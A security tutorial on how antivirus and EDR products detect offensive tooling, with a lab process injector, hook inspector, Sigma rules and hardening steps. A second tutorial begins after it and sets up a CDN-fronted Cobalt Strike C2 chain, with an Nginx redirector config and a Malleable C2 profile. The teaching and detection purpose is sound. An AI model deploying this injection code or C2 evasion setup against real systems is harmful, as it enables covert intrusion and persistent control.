AV and EDR Concepts: How Detections Work Against Offensive Tools

Objective: Take apart how modern AV and EDR products actually detect offensive tooling, from PE signatures on disk to inline NTDLL hooks, kernel callbacks, ETW-TI, AMSI, and WFP. You’ll build a small lab, watch every layer fire against a self-written injector, and then write the Sigma rule that catches it. By the end you should be able to reason about where a technique gets caught and why, not just guess.


1. AV vs EDR: What’s Actually Different

Traditional AV was a scanner glued to a file-system minifilter. It read bytes off disk, compared them to a signature database, and quarantined matches. That model still exists inside every EDR (nobody throws away a working checker), but it’s now the smallest part of the pipeline. An EDR is a sensor fabric: multiple components collecting different signal types and shipping them to a correlation engine.

The practical implication for a red teamer: obfuscating your binary defeats the AV scanner and does approximately nothing to the EDR. The EDR still sees WriteProcessMemory land followed by CreateRemoteThread starting in an RWX region with no backing module, and that behavioral chain is what actually kills the operation. Signature evasion is table stakes. Behavior is the game.

A modern EDR agent typically has these moving parts:

ComponentRole
User-mode serviceConfig, telemetry buffering, cloud upload
Injected DLLInline hooks in ntdll.dll inside every process
Kernel driver(s)Registers callbacks in ntoskrnl, WFP callouts, self-protection
File-system minifilterRegistered via FltRegisterFilter, sees IRPs, blocks known-bad on write
ETW consumerSubscribes to providers including Microsoft-Windows-Threat-Intelligence
Transport threadUploads events to the back-end for correlation

Detection capability equals which signals it subscribes to multiplied by how well it correlates them. Not architecture. Two products with identical block diagrams can have wildly different detection rates because one wrote better sequence rules.


Hierarchy diagram showing the six sensor components of a modern EDR agent: FS minifilter, kernel driver with callbacks and WFP, ETW-TI consumer, injected ntdll hook DLL, user-mode service, and static AV scanner
A modern EDR is a sensor fabric – each layer independently collects signal, and defeating one leaves the rest intact.

2. Static Detection: Why Just Repacking Doesn’t Help

The static engine still runs the moment a file touches disk (or memory, via AmsiScanBuffer and the on-access minifilter). It checks:

  • Byte signatures. Classic YARA-style pattern matches against known offsets, often anchored on shellcode decoders, string constants, or Sleep-mask stubs.
  • IMPHASH. MD5 of the ordered PE import table. IMPHASH survives repacking, string obfuscation, and section renaming because you can’t change what the file imports without changing what it does. Two Cobalt Strike beacon loaders written a year apart still share an IMPHASH if the import layout matches.
  • Fuzzy hashing (ssdeep, TLSH). Detects near-duplicate binaries. Flip a handful of bytes and the fuzzy score barely moves.
  • Entropy. Shannon entropy over 7.0 on a .text section screams “packed.” Not malicious by itself, but a strong prior.
  • Authenticode. Unsigned or revoked-cert binaries get harsher heuristics and often reduced execution allow-lists.

The takeaway: if you renamed strings and packed the payload but the imports still contain VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, and OpenProcess, the IMPHASH is going to look familiar to the vendor’s clustering pipeline. Resolve APIs dynamically (T1027.007) if you care.


3. Userland Hooks: Inside Your Own Process

When a new process is created, the EDR’s kernel driver, having registered via PsSetCreateProcessNotifyRoutineEx and PsSetLoadImageNotifyRoutine, gets notified early enough to arrange for the userland DLL to be mapped into the address space of the new process. Once that DLL is in, it walks the export table of ntdll.dll and patches the first 5 to 15 bytes of each function of interest with a trampoline into itself.

Here’s the anatomy of a typical patched prologue on x64:

; NtOpenProcess, unhooked (Windows 11 22H2, illustrative)
4C 8B D1              mov  r10, rcx           ; syscall trampoline
B8 26 00 00 00        mov  eax, 26h           ; syscall number
F6 04 25 08 03 FE 7F  test byte [7FFE0308h], 1
75 03                 jne  short +3
0F 05                 syscall
C3                    ret

; NtOpenProcess, hooked
E9 xx xx xx xx        jmp  <edr.dll+offset>   ; 5-byte JMP rel32
90 90 90 90 90        (padding / preserved bytes stashed elsewhere)

The EDR’s DLL receives the redirected call, reads the arguments off the stack and registers, applies whatever policy it wants (block, allow, tag), then either returns an error or lets the call through to the real syscall stub. The functions consistently hooked across vendors are the ones that gate the interesting behaviors:

FunctionWhat it exposes
NtOpenProcessHandle acquisition (credential dump prep, injection prep)
NtAllocateVirtualMemoryShellcode staging, especially PAGE_EXECUTE_READWRITE
NtWriteVirtualMemoryCross-process writes (injection)
NtCreateThreadExRemote thread creation
NtProtectVirtualMemoryRW to RX flips (shellcode activation)
NtMapViewOfSectionSection-based injection, hollowing
NtQueueApcThreadAPC injection

Exercise A: See the JMP with Your Own Eyes

Compile and run this from an unprivileged shell inside a VM that has any EDR (or Defender with ATP telemetry) installed. Compare the first 16 bytes of the in-memory ntdll copy against a fresh disk mapping.

// lab_hook_inspector.c
// Build: cl /W4 lab_hook_inspector.c
#include <windows.h>
#include <stdio.h>

static void check_hook(const char *func_name) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    FARPROC  fn_mem  = GetProcAddress(hNtdll, func_name);

    HMODULE hDisk = LoadLibraryExA("C:\\Windows\\System32\\ntdll.dll",
                                    NULL, DONT_RESOLVE_DLL_REFERENCES);
    FARPROC fn_disk = GetProcAddress(hDisk, func_name);

    printf("[%s]\n  in-memory : ", func_name);
    for (int i = 0; i < 16; i++) printf("%02X ", ((BYTE*)fn_mem)[i]);
    printf("\n  from disk : ");
    for (int i = 0; i < 16; i++) printf("%02X ", ((BYTE*)fn_disk)[i]);
    printf("\n  hooked?   : %s\n\n",
           memcmp(fn_mem, fn_disk, 5) ? "YES (first 5 bytes differ)" : "NO");
    FreeLibrary(hDisk);
}

int main(void) {
    const char *targets[] = {
        "NtOpenProcess", "NtAllocateVirtualMemory",
        "NtWriteVirtualMemory", "NtCreateThreadEx",
        "NtProtectVirtualMemory", NULL
    };
    for (int i = 0; targets[i]; i++) check_hook(targets[i]);
    return 0;
}

On a hooked box you’ll see the in-memory prologue start with E9 (relative JMP) or FF 25 (indirect JMP). On a stock Windows install with no third-party EDR you’ll usually see identical bytes, which is itself useful: it means Defender’s user-mode component doesn’t do inline hooks the way CrowdStrike, SentinelOne, or Elastic do. Different vendors, different surface area.

Pair this with Sysmon Event ID 7 (Image Load) captured while lab_hook_inspector.exe starts. You’ll see the EDR DLL loaded and amsi.dll mapped in early. That EDR DLL mapping is the hook installer.


Flow diagram showing an injector calling NtOpenProcess in ntdll which is patched with a JMP into the EDR hook DLL, which either allows the call to continue to the real syscall or returns a block error to the caller
The EDR’s JMP patch redirects every interesting Nt function through its own inspection stub before the syscall reaches the kernel.

4. Kernel Callbacks: The EDR’s Eyes in Ring 0

Above Ring 3 the EDR loses the ability to inline-patch code, PatchGuard prohibits it, but Microsoft provides a set of documented callback registration APIs so the driver can be notified of security-relevant events. This is the layer where userland-only bypasses die.

// Process creation/termination
NTSTATUS PsSetCreateProcessNotifyRoutine(
    PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
    BOOLEAN Remove);

// Extended: allows *blocking* process creation via CreationStatus
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
    PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
    BOOLEAN Remove);

NTSTATUS PsSetLoadImageNotifyRoutine(
    PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine);

NTSTATUS PsSetCreateThreadNotifyRoutine(
    PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine);

// Filter/mediate handle operations (block OpenProcess on lsass, etc.)
NTSTATUS ObRegisterCallbacks(
    POB_CALLBACK_REGISTRATION CallbackRegistration,
    PVOID *RegistrationHandle);

NTSTATUS CmRegisterCallback(
    PEX_CALLBACK_FUNCTION Function,
    PVOID Context,
    PLARGE_INTEGER Cookie);

NTSTATUS FltRegisterFilter(
    PDRIVER_OBJECT Driver,
    const FLT_REGISTRATION *Registration,
    PFLT_FILTER *RetFilter);

Internally, the kernel stores each set of process/thread/image callbacks in a fixed-size array. Process notifications live in nt!PspCreateProcessNotifyRoutine. When a process is created, nt!PspCallProcessNotifyRoutines iterates over the array and invokes each registered function. The pointers stored there are EX_FAST_REF values, so the low bits are reference-count flags and you have to mask them off before you can resolve a symbol.

Exercise B: Enumerate Registered Callbacks in WinDbg

Boot the lab VM with bcdedit /debug on and attach WinDbg over network (kdnet). In the kernel-mode session:

kd> dq nt!PspCreateProcessNotifyRoutine L10
fffff800`1234a010  ffffb001`23456780 ffffb001`87654322
fffff800`1234a020  ffffb001`aabbcc03 0000000000000000
...

kd> ? ffffb001`23456780 & 0xFFFFFFFFFFFFFFF8
Evaluate expression: -87... = ffffb001`23456780

kd> ln ffffb001`23456780
(fffff801`04a1e120)  WdFilter!MpCreateProcessNotifyRoutineEx

Repeat for the sibling arrays:

kd> dq nt!PspCreateThreadNotifyRoutine L8
kd> dq nt!PspLoadImageNotifyRoutine L8

On a fresh Windows 11 with only Defender + Sysmon installed you should see entries resolving to WdFilter!Mp* (Defender’s minifilter/driver) and SysmonDrv!*. Install a third-party EDR and one or more slots will resolve into its driver, for example CSAgent!* or SentinelMonitor!*. This is how you know, from a defender’s chair or a research chair, exactly which sensors are live.

The important detail: PsSetCreateProcessNotifyRoutineEx gives the driver an out-parameter CreationStatus. Setting it to a failure code aborts the process launch entirely. That’s not passive telemetry, that’s a policy chokepoint.


5. ETW and the Threat-Intelligence Provider

ETW is a pub/sub tracing framework baked into the kernel. Providers publish events, sessions filter and buffer them, and consumers read the buffered events. Every interesting subsystem in Windows exposes one or more providers.

For offensive-tool detection, these are the ones you care about:

ProviderGUIDCoverage
Microsoft-Windows-Threat-Intelligence{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}Kernel-side memory ops, thread manipulation, APCs, LSASS reads
Microsoft-Windows-PowerShell{A0C1853B-5C40-4B15-8766-3CF1C58F985A}Script block and module logging
Microsoft-Antimalware-Scan-Interface{2A576B87-09A7-520E-C21A-4942F0271D67}AMSI scan results
Microsoft-Windows-DotNETRuntime{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}Assembly loads, JIT
Microsoft-Windows-DNS-Client{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}DNS resolutions
Microsoft-Windows-Kernel-Process{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}Process/thread/image

ETW-TI (Threat-Intelligence) is the one worth understanding in depth. Because PatchGuard prevents hooking the SSDT, vendors can’t cleanly intercept syscall arguments in the kernel through classic patching. Microsoft’s answer was to instrument the relevant kernel paths themselves and emit structured events on this provider. The events come from the kernel, so a userland direct-syscall bypass, which fools the inline ntdll hook, still fires ETW-TI. Bypassing it generally means executing in Ring 0.

ETW-TI is a Secure ETW channel. Consumers must run as Protected Process Light (anti-malware light PPL) or use SeSystemProfilePrivilege in a driver-backed context. In your lab you can either sign a small consumer driver with a test cert (bcdedit /set testsigning on) or use SilkETW / krabsetw as PPL-hosted consumers.

Exercise C: Watch ETW-TI Fire on Remote Allocation

Stand up the lab injector. Keep it minimal so the reader can point at each line and say “that’s the ntdll call the EDR hooks.”

// injector_lab.c
// Build: cl /W4 injector_lab.c
#include <windows.h>
#include <stdio.h>

int main(int argc, char** argv) {
    if (argc < 2) { printf("usage: injector_lab <pid>\n"); return 1; }
    DWORD pid = (DWORD)atoi(argv[1]);

    // Benign 6-byte payload: int3; ret; padding. Detonation is not the point.
    BYTE payload[] = { 0xCC, 0xC3, 0x90, 0x90, 0x90, 0x90 };

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) { printf("OpenProcess failed: %lu\n", GetLastError()); return 1; }

    LPVOID remote = VirtualAllocEx(hProc, NULL, sizeof(payload),
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);
    if (!remote) { printf("VirtualAllocEx failed: %lu\n", GetLastError()); return 1; }

    SIZE_T written = 0;
    WriteProcessMemory(hProc, remote, payload, sizeof(payload), &written);

    HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
                                     (LPTHREAD_START_ROUTINE)remote,
                                     NULL, 0, NULL);
    printf("Injected. Remote thread handle: %p\n", hThr);
    return 0;
}

Start a SilkETW capture on the TI provider, then run the injector against a Notepad instance:

# Elevated. SilkETW handles the PPL/consumer plumbing.
SilkETW.exe -t kernel -pn Microsoft-Windows-Threat-Intelligence `
            -ot file -p C:\lab\etwti_output.json

# In another window:
Start-Process notepad ; Start-Sleep 1
$pid_target = (Get-Process notepad | Select -First 1).Id
.\injector_lab.exe $pid_target

Grep the JSON for the interesting task names:

Task nameFires on
KERNEL_THREATINT_TASK_ALLOCVM_REMOTENtAllocateVirtualMemory targeting remote PID
KERNEL_THREATINT_TASK_WRITEVM_REMOTENtWriteVirtualMemory targeting remote PID
KERNEL_THREATINT_TASK_MAPVIEW_REMOTENtMapViewOfSection targeting remote PID
KERNEL_THREATINT_TASK_QUEUEUSERAPC_REMOTENtQueueApcThread targeting remote thread
KERNEL_THREATINT_TASK_SETTHREADCONTEXTNtSetContextThread (thread hijacking)

Each event carries CallingProcessId, TargetProcessId, BaseAddress, RegionSize, and Protect. Notice that Protect = 0x40 (PAGE_EXECUTE_READWRITE) is a huge tell. Even switching to allocate RW and then flipping to RX will just move the tell to KERNEL_THREATINT_TASK_PROTECTVM_REMOTE in a subsequent event: the sequence is what gets you.

A quick lived-in gotcha: the first time I set this up, the JSON was empty and I burned an hour thinking my provider GUID was wrong. It wasn’t. SilkETW was running non-elevated and silently failed the PPL requirements. Always start ETW-TI consumers from an elevated shell and verify with logman query -ets.


Conceptual illustration of the ETW Threat-Intelligence provider as an omniscient eye embedded in the kernel, with structured telemetry rays passing through all system layers regardless of userland bypass attempts
ETW-TI emits events from inside the kernel itself – direct-syscall bypasses of userland hooks still trigger it, making Ring 0 the only escape.

6. AMSI: The Scanner Inside Script Hosts

AMSI is a COM interface baked into PowerShell, VBScript, JScript, the .NET CLR, and Office VBA. Every time one of those hosts is about to execute a chunk of content, it calls into amsi.dll which relays the buffer to whatever AV/EDR has registered as an AMSI provider under HKLM\SOFTWARE\Microsoft\AMSI\Providers\{GUID}.

Call chain:

powershell.exe
  -> amsi.dll (mapped at startup)
  -> AmsiInitialize / AmsiOpenSession
  -> AmsiScanBuffer(ctx, buffer, len, "PowerShell", session, &result)
  -> COM RPC to registered provider (e.g. MpOav.dll for Defender)
  -> result = AMSI_RESULT_DETECTED (0x8000) means malicious

Key exports:

FunctionPurpose
AmsiInitializeGet a scan context tied to the host name
AmsiOpenSessionStart a session so related buffers can be correlated
AmsiScanBufferScan raw bytes with an optional content name
AmsiScanStringWide-string variant
AmsiResultIsMalwareMacro: true if result >= AMSI_RESULT_DETECTED

Exercise D: Watch AmsiScanBuffer Fire

Attach API Monitor (rohitab.com/apimonitor) to powershell.exe, filter modules to amsi.dll, and turn on tracing for AmsiScanBuffer. Then in the PowerShell window paste a string known to trigger the Defender AMSI signature, the classic AMSI test string works well because it’s not actually malicious:

'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

API Monitor should show a call to AmsiScanBuffer with the string in the buffer, the length, contentName = "PowerShell", and a return AMSI_RESULT of 32768 (0x8000, AMSI_RESULT_DETECTED). PowerShell will render its “This script contains malicious content” red block.

That’s the whole “AMSI catches PowerShell payloads” story. It’s a synchronous scan call that returns a verdict before the buffer executes. The typical bypass chain patches or unhooks the client side (patching AmsiScanBuffer to return S_OK and AMSI_RESULT_CLEAN), which is exactly why the corresponding ETW event (Microsoft-Antimalware-Scan-Interface provider) is so useful to defenders: it fires even when the client tries to lie.


7. WFP: Network Visibility in the Kernel

The Windows Filtering Platform is the framework that sits under everything network-adjacent, including the built-in firewall. EDRs register callout drivers with FwpsCalloutRegister and hang filters off layers like FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 to inspect connect / accept events and beacon flows. That’s how the EDR observes C2 without depending on the target application’s user-mode stack.

Two implications for red-team tooling:

  1. Encrypted C2 doesn’t hide the flow metadata. WFP still sees destination, timing, JA3/JA4 fingerprints (via other hooks), and cadence. Beacon jitter isn’t optional if you’re serious.
  2. WFP is also used offensively by tools like “EDR Silencer” (T1562.006) to block outbound traffic from the EDR’s own processes, so telemetry piles up locally and never reaches the cloud. Defenders should watch WFP filter additions targeting security processes with EventID 5157 (Filtering Platform Connection blocked) and events under provider Microsoft-Windows-WFP.

8. Behavioral Correlation: The Sequence Is the Signal

None of the individual signals above catch a modern operator on their own. The correlation engine does. Vendors ship rules that look like state machines:

  • winword.exe -> cmd.exe -> powershell.exe within 5s: macro-borne dropper.
  • NtAllocateVirtualMemory(RWX) followed by NtWriteVirtualMemory on the same target followed by NtCreateThreadEx on that target within a short window: classic remote-thread injection.
  • OpenProcess(lsass.exe, PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION) from a non-whitelisted image: credential dump attempt.
  • A signed LOLBin (rundll32, regsvr32, mshta) making outbound TCP to a rare destination shortly after being spawned by a non-office parent: LOLBin C2.

You can bypass one hook. You can even bypass three. Getting the entire chain to look benign across static, userland, kernel, ETW, and network signals is the actual work.


Flow diagram showing three individual EDR signals - remote RWX allocation, remote memory write, and remote thread creation - converging into a correlation engine that joins them within a time window to fire a high-severity T1055 process injection alert
No single event is a conviction – it is the sequence of allocation, write, and thread-create against the same remote PID that the correlation engine turns into a high-fidelity alert.

9. Detection Engineering: Catching Your Own Injector

Now flip chairs. The injector from Exercise C should be trivial for a competent defender to catch, and the exercise is worth doing because it forces you to reason about which signal you rely on. Sysmon Event ID 8 is the direct hit; here’s a Sigma rule targeted at it.

title: Remote Thread Injection From Non-System Path
id: 8f6a2b3c-2b2f-4a2f-92a1-2f0e58e2b19a
status: experimental
description: >
  Detects CreateRemoteThread originating from a binary outside standard
  Windows/Program Files locations, into a process other than itself.
  Classic shellcode-injection pattern used by injector_lab and countless
  real-world loaders.
logsource:
  category: create_remote_thread
  product: windows
detection:
  selection:
    EventID: 8
  filter_system_paths:
    SourceImage|startswith:
      - 'C:\Windows\'
      - 'C:\Program Files\'
      - 'C:\Program Files (x86)\'
  filter_self:
    SourceProcessId: TargetProcessId
  condition: selection and not filter_system_paths and not filter_self
falsepositives:
  - Legitimate cross-process instrumentation (debuggers, profilers)
  - Some AV/EDR components performing remote threads (whitelist by SourceImage)
level: high
tags:
  - attack.defense_evasion
  - attack.t1055
  - attack.t1055.003

A Sigma rule is three moving parts: selection (what you want to match), one or more filter blocks (what you want to exclude), and the condition combining them. Keep filters as separate keyed maps so the rule stays readable when the whitelist grows.

Pair the rule with these fields on Event ID 8 during hunt: StartAddress outside any loaded module (walk Modules for the target PID and check the range) and StartModule = null are hard signals. Injection into a freshly allocated RWX region always leaves that fingerprint.

For LSASS-touching payloads, layer a rule on Event ID 10:

title: LSASS Access With Read/Query From Non-Standard Image
id: 8e2a1234-1a1a-4b4b-9c9c-2f0e58e2b19b
logsource:
  category: process_access
  product: windows
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'
      - '0x1410'
      - '0x1F3FFF'
  filter_signed_sec_products:
    SourceImage|startswith:
      - 'C:\Program Files\Windows Defender\'
      - 'C:\Program Files (x86)\Microsoft\EDR\'
  condition: selection and not filter_signed_sec_products
level: critical
tags:
  - attack.credential_access
  - attack.t1003.001

10. Hardening Playbook

If the machine you’re defending has these switched on, half the tradecraft in this post gets a lot harder to land.

  1. RunAsPPL = 1 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa. LSASS becomes PPL, raising the required protection level to open it for read.
  2. HVCI (Hypervisor-Protected Code Integrity) via HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard: EnableVirtualizationBasedSecurity = 1, HypervisorEnforcedCodeIntegrity = 1. Unsigned kernel drivers stop loading. BYOVD dies.
  3. Microsoft Vulnerable Driver Blocklist: HKLM\SYSTEM\CurrentControlSet\Control\CI\Config -> VulnerableDriverBlocklistEnable = 1.
  4. ASR rules: block Office child processes, credential stealing from LSASS, unsigned executables off removable media.
  5. PowerShell Constrained Language Mode where the workload allows.
  6. Script Block Logging and Module Logging on:
    HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -> EnableScriptBlockLogging = 1
    HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -> EnableModuleLogging = 1, ModuleNames = *
  7. Deploy a real Sysmon config. SwiftOnSecurity’s sysmon-config and Olaf Hartong’s sysmon-modular (with ATT&CK-tagged rules) are the two community baselines worth starting from.
  8. Baseline audit policy:
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Security System Extension" /success:enable
auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable
auditpol /set /subcategory:"Kernel Object" /success:enable

11. Tools

ToolUseLink
SysmonRich process/thread/image/registry/network telemetrylearn.microsoft.com/sysinternals
WinDbgKernel debugging, callback enumerationlearn.microsoft.com
x64dbgUser-mode debugger for inline-hook inspectionx64dbg.com
Process MonitorFile/registry/process traces from an EDR-agnostic anglelearn.microsoft.com/sysinternals
API MonitorAttach and trace amsi.dll and other APIsrohitab.com/apimonitor
SilkETW / krabsetwETW consumer front-ends including ETW-TIgithub.com/mandiant/SilkETW
SigmaVendor-neutral detection rule formatgithub.com/SigmaHQ/sigma
Sysmon configsCommunity baselinesgithub.com/SwiftOnSecurity, github.com/olafhartong

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Process InjectionT1055Sysmon EID 8, ETW-TI ALLOCVM_REMOTE / WRITEVM_REMOTE
DLL InjectionT1055.001EID 8 with StartModule = LoadLibrary in target
PE InjectionT1055.002EID 8 + RWX region + no backing image
Thread Execution HijackingT1055.003ETW-TI SETTHREADCONTEXT, EID 10 with thread-context access
Process HollowingT1055.012Sysmon EID 25 (ProcessTampering), ETW-TI MAPVIEW_REMOTE
Impair Defenses: Disable/Modify ToolsT1562.001AMSI ETW provider events, patch of amsi.dll in memory
Impair Defenses: Disable Event LoggingT1562.002Sudden ETW provider disable, gaps in EID sequence
Impair Defenses: Indicator BlockingT1562.006WFP filter add against security-product processes, EID 5157
Obfuscated Files or InformationT1027IMPHASH clustering, entropy > 7.0 on .text
Dynamic API ResolutionT1027.007Sparse IAT + calls resolved via GetProcAddress at runtime
System Binary Proxy ExecutionT1218EID 1 with rundll32/regsvr32/mshta and unusual cmdline
DLL Side-LoadingT1574.002EID 7 loading unsigned DLL next to a signed EXE
Access Token ManipulationT1134Token duplication API traces, sudden SID change
OS Credential Dumping: LSASS MemoryT1003.001Sysmon EID 10 on lsass.exe from non-whitelisted image

Summary

  • Modern EDR beats offensive tooling through a stack of signals, not one big signature. Static, userland hooks, kernel callbacks, ETW-TI, AMSI, and WFP each cover a different slice of the attack surface.
  • Inline hooks in ntdll.dll are visible with a 30-line C program. If you can see the JMP, so can a bypass, and so can a hardened detection rule for missing/patched hooks.
  • Kernel callbacks registered through PsSetCreateProcessNotifyRoutineEx, PsSetCreateThreadNotifyRoutine, PsSetLoadImageNotifyRoutine, ObRegisterCallbacks, and CmRegisterCallback are the layer userland tricks cannot reach.
  • ETW-TI turns the kernel itself into the telemetry source, which is why direct-syscall bypasses of user hooks still get caught. Bypassing it means Ring 0.
  • Detection engineering wins by correlating: allocation, write, and thread-create against the same remote PID inside a small time window is the signal, and Sysmon EID 8 plus ETW-TI plus a tuned Sigma rule catches the injector every time.

Related Tutorials

References

Domain Fronting and CDN Redirection for C2 Resilience

You stand up a team server on a $5 VPS, slap a self-signed cert on it, and point a beacon straight at the IP. It survives about as long as it takes the SOC to check one firewall log. A raw origin IP with no reputation, no cover traffic, and no way to rotate is dead on arrival. The whole point of mature C2 infrastructure is to make the front-facing layer disposable and the team server untouchable, so that burning one does not cost you the other.

Objective: Understand the TLS/HTTP split that makes domain fronting work, build a full CDN-backed redirector chain against your own lab, configure Cobalt Strike and Sliver to front through it, and then hunt the exact same traffic from the blue side using SNI/Host mismatch, JA3, Sysmon, and ETW.

Everything here runs against infrastructure you own. No third-party front domains, no live targets. The technique maps to MITRE ATT&CK T1090.004 (Proxy: Domain Fronting).


1. Why CDN Infrastructure Buys You the Whole Engagement

A good red team infrastructure has one job: move C2 traffic from the target to your team server, undetected, for as long as the engagement lasts. That means separating roles so no single point of failure gives the defender everything.

ComponentRole
Team ServerBackend C2 (Cobalt Strike, Sliver, Havoc). Never directly exposed.
Redirector / RelayNginx or Apache forwarder between the CDN and team server. Filters non-C2 traffic.
CDN DistributionCloudFront distribution, Azure Front Door endpoint, or Cloudflare Worker. The front-facing layer.
Front Domain (SNI)High-reputation domain served by the CDN. The decoy destination passive inspection sees.
Host Header / OriginYour CDN distribution FQDN or custom domain, routing to your redirector.

If a defender finds the CDN endpoint, they still cannot reach the team server. If the redirector gets burned, you spin up a new one and re-point the CDN. The team server stays put, sessions intact. That layering is the entire value proposition.


2. How Domain Fronting Works: TLS, SNI, and the Host Header

Domain fronting exploits a routing quirk in CDNs that host many customers behind the same edge. The trick is putting one domain in the TLS SNI field and a different domain in the HTTP Host header. The perimeter firewall reads the SNI in cleartext and sees a benign, high-reputation domain. The CDN, after it decrypts the tunnel, reads the Host header and routes to wherever that points, which is you.

Here is the split, layer by layer:

LayerFieldSeen by network/firewallActed on by CDN
TLS (outer)SNI (server_name in ClientHello)trusted-front.cdn.net, cleartextSelects the TLS cert to present
HTTP (inner, inside TLS)Host headerEncrypted, invisible to passive inspectionRoutes to the real C2 origin

The SNI is a TLS extension (RFC 6066), sent in the ClientHello in plaintext because the client has to tell the server which cert to serve before the tunnel exists. A firewall without TLS interception can only see this. The Host header lives inside the encrypted payload and carries the true backend target. The CDN edge terminates TLS using the front domain’s cert, reads the decrypted Host, and reverse-proxies to the configured origin regardless of which SNI opened the connection.

Roughly, the flow on the wire:

[Beacon] --ClientHello (SNI: trusted-front.cdn.net)--> [Perimeter FW: "just a CDN, allow"]
        --TLS established with front-domain cert--> [CDN Edge]
        --decrypt--> reads HTTP Host: your-distro.cloudfront.net
        --reverse proxy--> [Your Redirector] --> [Team Server]

There is also a “domainless” variant: leave the SNI field blank entirely. Some CDNs that try to enforce SNI-to-Host matching will ignore a blank SNI, letting the front still work. Whether that flies depends entirely on the provider.


Flow diagram showing how a beacon's ClientHello SNI passes a perimeter firewall as a trusted CDN domain, while the CDN reads the hidden Host header to route traffic to the attacker's redirector and then team server.
The CDN edge terminates TLS on the front domain’s cert, then routes internally based on the Host header the firewall never sees.

3. CDN Provider Landscape: What Still Works

Be honest with yourself here, because operators waste days trying classic cross-customer fronting on providers that killed it years ago. Two distinct patterns matter:

  • Classic domain fronting: front domain does not belong to you, you both just happen to sit on the same CDN.
  • CDN-as-redirector: your own CDN distribution fronts your own origin. This is what still works reliably and is the primary lab focus.
ProviderClassic cross-customer frontingCDN-as-redirector
AWS CloudFrontBlocked since 2018 (enforces SNI/Host match)Works: own distribution to own origin
Google App EngineBlocked since 2018Limited
Azure Front Door / Azure CDNConfig-dependent; profiles have used Fastly and AzureEdgeWorks, varies by tier
FastlyConfig-dependentViable
CloudflareConfig-dependentViable (Workers / Tunnels)

Classic fronting got harder as providers cracked down, but variations like “domain hiding” work in similar ways, and CDN-as-redirector remains fully viable. When you read a 2016 blog promising you can front through some giant consumer domain, assume it is dead and test in your lab before you rely on it.


4. Lab Setup: Building the Full Redirector Chain

Lab topology: a Windows 10/11 victim VM (Defender on), an Ubuntu 22.04 team server, an Ubuntu 22.04 redirector running Nginx, and a Cloudflare (free tier) or CloudFront distribution pointed at the redirector. Use a cheap personal domain for the lab, or /etc/hosts entries if you keep everything local.

Phase 1: Provision the redirector

# On the redirector VM
sudo apt install nginx -y

# Self-signed cert for the redirector-to-teamserver leg (Let's Encrypt if you have a real domain)
openssl req -x509 -newkey rsa:4096 -keyout /etc/ssl/private/c2.key \
  -out /etc/ssl/certs/c2.crt -days 365 -nodes -subj "/CN=lab-redirector"

Phase 2: Nginx redirector config

The redirector forwards only known C2 URI patterns and 302s everything else to a decoy. Scanners, sandboxes, and curious analysts get bounced to Microsoft’s homepage. Real beacon traffic gets proxied to the team server.

# /etc/nginx/sites-available/c2-redirect
server {
    listen 443 ssl;
    ssl_certificate     /etc/ssl/certs/c2.crt;
    ssl_certificate_key /etc/ssl/private/c2.key;

    # Forward only your C2 URIs
    location ~* ^/(beacon|updates|check-in) {
        proxy_pass          https://<TEAM_SERVER_IP>:443;
        proxy_set_header    Host $host;      # preserve Host for the team server
        proxy_ssl_verify    off;
    }

    # Everything else is a scanner: bounce it
    location / {
        return 302 https://www.microsoft.com;
    }
}

Lock the redirector down further with allow/deny ACLs so only the CDN’s published egress ranges can hit port 443. If a defender resolves your CDN and tries to connect from anywhere else, the redirector never answers.

Phase 3: CDN distribution (Cloudflare example)

DNS:      lab-c2.yourdomain.com  ->  <REDIRECTOR_IP>   (proxied, orange cloud ON)
SSL/TLS:  Full (strict)
Firewall: allow only CDN egress IPs -> redirector:443

With the orange cloud on, lab-c2.yourdomain.com resolves to Cloudflare edge IPs, not your redirector. The victim never sees your infrastructure’s real address.


Hierarchy diagram of the lab topology: victim connects to a Cloudflare CDN edge, which forwards to an Nginx redirector that routes matched C2 URIs to the team server and bounces scanners to a decoy URL.
Each layer is disposable independently – burning the CDN endpoint or redirector never exposes the team server.

5. Cobalt Strike Malleable C2 Profile for CDN Fronting

Malleable C2 lets you shape Beacon traffic to look like something legitimate. For fronting, the single load-bearing detail is the Host header, and it must appear in both the http-get -> client and http-post -> client blocks. Miss one and your POSTs sail past the CDN unrouted while GETs work, which produces a maddening half-broken beacon.

# profiles/cdn-front.profile
set sleeptime "5000";
set jitter     "20";
set useragent  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/beacon";
    client {
        header "Host" "lab-c2.yourdomain.com";   # CDN-fronted hostname
        header "Accept" "*/*";
    }
}
http-post {
    set uri "/updates";
    client {
        header "Host" "lab-c2.yourdomain.com";   # MUST also be here
        header "Content-Type" "application/octet-stream";
    }
}
ssl-certificate {
    set CN "lab-c2.yourdomain.com";
}

